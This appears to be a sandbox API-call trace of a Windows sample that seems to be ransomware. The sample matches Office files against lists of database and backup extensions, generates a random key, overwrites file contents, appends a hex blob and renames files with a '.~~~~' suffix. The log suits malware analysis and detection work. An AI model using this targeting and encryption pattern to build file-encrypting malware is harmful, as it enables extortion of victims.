	[0144.237] lstrlenW (lpString=".mdf") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".mdf") returned 0x0
	[0144.237] lstrlenW (lpString=".BAK") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".BAK") returned 0x0
	[0144.237] lstrlenW (lpString=".BAC") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".BAC") returned 0x0
	[0144.237] lstrlenW (lpString=".dbs") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dbs") returned 0x0
	[0144.237] lstrlenW (lpString=".vhdx") returned 5
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0144.237] lstrlenW (lpString=".NDF") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".NDF") returned 0x0
	[0144.237] lstrlenW (lpString=".dat") returned 4
	[0144.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dat") returned 0x0
	[0144.238] lstrlenW (lpString=".DBS") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DBS") returned 0x0
	[0144.238] lstrlenW (lpString=".CKP") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".CKP") returned 0x0
	[0144.238] lstrlenW (lpString=".edb") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".edb") returned 0x0
	[0144.238] lstrlenW (lpString=".PST") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".PST") returned 0x0
	[0144.238] lstrlenW (lpString=".dbf") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dbf") returned 0x0
	[0144.238] lstrlenW (lpString=".SQL") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".SQL") returned 0x0
	[0144.238] lstrlenW (lpString=".pst") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".pst") returned 0x0
	[0144.238] lstrlenW (lpString=".dbv") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dbv") returned 0x0
	[0144.238] lstrlenW (lpString=".SDF") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".SDF") returned 0x0
	[0144.238] lstrlenW (lpString=".dtxs") returned 5
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0144.238] lstrlenW (lpString=".db3") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".db3") returned 0x0
	[0144.238] lstrlenW (lpString=".OST") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".OST") returned 0x0
	[0144.238] lstrlenW (lpString=".dbx") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dbx") returned 0x0
	[0144.238] lstrlenW (lpString=".DB3") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DB3") returned 0x0
	[0144.238] lstrlenW (lpString=".DAT") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DAT") returned 0x0
	[0144.238] lstrlenW (lpString=".VHDX") returned 5
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0144.238] lstrlenW (lpString=".ndf") returned 4
	[0144.238] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".ndf") returned 0x0
	[0144.239] lstrlenW (lpString=".DB") returned 3
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DB") returned 0x0
	[0144.239] lstrlenW (lpString=".sql") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".sql") returned 0x0
	[0144.239] lstrlenW (lpString=".MYD") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".MYD") returned 0x0
	[0144.239] lstrlenW (lpString=".DBT") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DBT") returned 0x0
	[0144.239] lstrlenW (lpString=".ACCDB") returned 6
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0144.239] lstrlenW (lpString=".fdb") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".fdb") returned 0x0
	[0144.239] lstrlenW (lpString=".bak") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".bak") returned 0x0
	[0144.239] lstrlenW (lpString=".myd") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".myd") returned 0x0
	[0144.239] lstrlenW (lpString=".DTXS") returned 5
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0144.239] lstrlenW (lpString=".ckp") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".ckp") returned 0x0
	[0144.239] lstrlenW (lpString=".dbt") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".dbt") returned 0x0
	[0144.239] lstrlenW (lpString=".db") returned 3
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".db") returned 0x0
	[0144.239] lstrlenW (lpString=".TXT") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".TXT") returned 0x0
	[0144.239] lstrlenW (lpString=".MDF") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".MDF") returned 0x0
	[0144.239] lstrlenW (lpString=".bdb") returned 4
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".bdb") returned 0x0
	[0144.239] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.239] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.240] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.241] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.241] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26423128589) returned 1
	[0144.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf60c430, dwHighDateTime=0x1d60e1e)) 
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0144.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0144.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d200
	[0144.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.242] GetLastError () returned 0x0
	[0144.242] GetLastError () returned 0x0
	[0144.242] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.243] GetLastError () returned 0x0
	[0144.243] GetLastError () returned 0x0
	[0144.243] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0144.244] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.244] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0144.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.244] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.244] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.244] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.244] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.244] CloseHandle (hObject=0x138) returned 1
	[0144.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.245] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.~~~~")) returned 1
	[0144.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.247] GetLastError () returned 0x0
	[0144.247] RtlWakeConditionVariable () returned 0x365f70
	[0144.247] GetCurrentThreadId () returned 0xaf0
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0144.248] lstrlenW (lpString=".cmd") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0144.248] lstrlenW (lpString=".dll") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0144.248] lstrlenW (lpString=".bat") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0144.248] lstrlenW (lpString=".cpl") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0144.248] lstrlenW (lpString=".sys") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0144.248] lstrlenW (lpString=".msc") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0144.248] lstrlenW (lpString=".com") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".com") returned 0x0
	[0144.248] lstrlenW (lpString=".lnk") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0144.248] lstrlenW (lpString=".msp") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0144.248] lstrlenW (lpString=".pif") returned 4
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0144.248] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0144.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.250] lstrlenW (lpString=".sqb") returned 4
	[0144.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0144.250] lstrlenW (lpString=".ost") returned 4
	[0144.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0144.250] lstrlenW (lpString=".txt") returned 4
	[0144.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0144.250] lstrlenW (lpString=".mdt") returned 4
	[0144.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0144.250] lstrlenW (lpString=".BDB") returned 4
	[0144.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0144.251] lstrlenW (lpString=".eql") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0144.251] lstrlenW (lpString=".DBF") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0144.251] lstrlenW (lpString=".EQL") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0144.251] lstrlenW (lpString=".FDB") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0144.251] lstrlenW (lpString=".EDB") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0144.251] lstrlenW (lpString=".DACPAC") returned 7
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0144.251] lstrlenW (lpString=".VHD") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0144.251] lstrlenW (lpString=".DBV") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0144.251] lstrlenW (lpString=".dacpac") returned 7
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0144.251] lstrlenW (lpString=".sdf") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0144.251] lstrlenW (lpString=".accdb") returned 6
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0144.251] lstrlenW (lpString=".DBX") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0144.251] lstrlenW (lpString=".MDT") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0144.251] lstrlenW (lpString=".SQB") returned 4
	[0144.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0144.251] lstrlenW (lpString=".vhd") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0144.252] lstrlenW (lpString=".bac") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0144.252] lstrlenW (lpString=".mdf") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0144.252] lstrlenW (lpString=".BAK") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0144.252] lstrlenW (lpString=".BAC") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0144.252] lstrlenW (lpString=".dbs") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0144.252] lstrlenW (lpString=".vhdx") returned 5
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0144.252] lstrlenW (lpString=".NDF") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0144.252] lstrlenW (lpString=".dat") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0144.252] lstrlenW (lpString=".DBS") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0144.252] lstrlenW (lpString=".CKP") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0144.252] lstrlenW (lpString=".edb") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0144.252] lstrlenW (lpString=".PST") returned 4
	[0144.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0144.252] lstrlenW (lpString=".dbf") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0144.253] lstrlenW (lpString=".SQL") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0144.253] lstrlenW (lpString=".pst") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0144.253] lstrlenW (lpString=".dbv") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0144.253] lstrlenW (lpString=".SDF") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0144.253] lstrlenW (lpString=".dtxs") returned 5
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0144.253] lstrlenW (lpString=".db3") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0144.253] lstrlenW (lpString=".OST") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0144.253] lstrlenW (lpString=".dbx") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0144.253] lstrlenW (lpString=".DB3") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0144.253] lstrlenW (lpString=".DAT") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0144.253] lstrlenW (lpString=".VHDX") returned 5
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0144.253] lstrlenW (lpString=".ndf") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0144.253] lstrlenW (lpString=".DB") returned 3
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0144.253] lstrlenW (lpString=".sql") returned 4
	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0144.253] lstrlenW (lpString=".MYD") returned 4
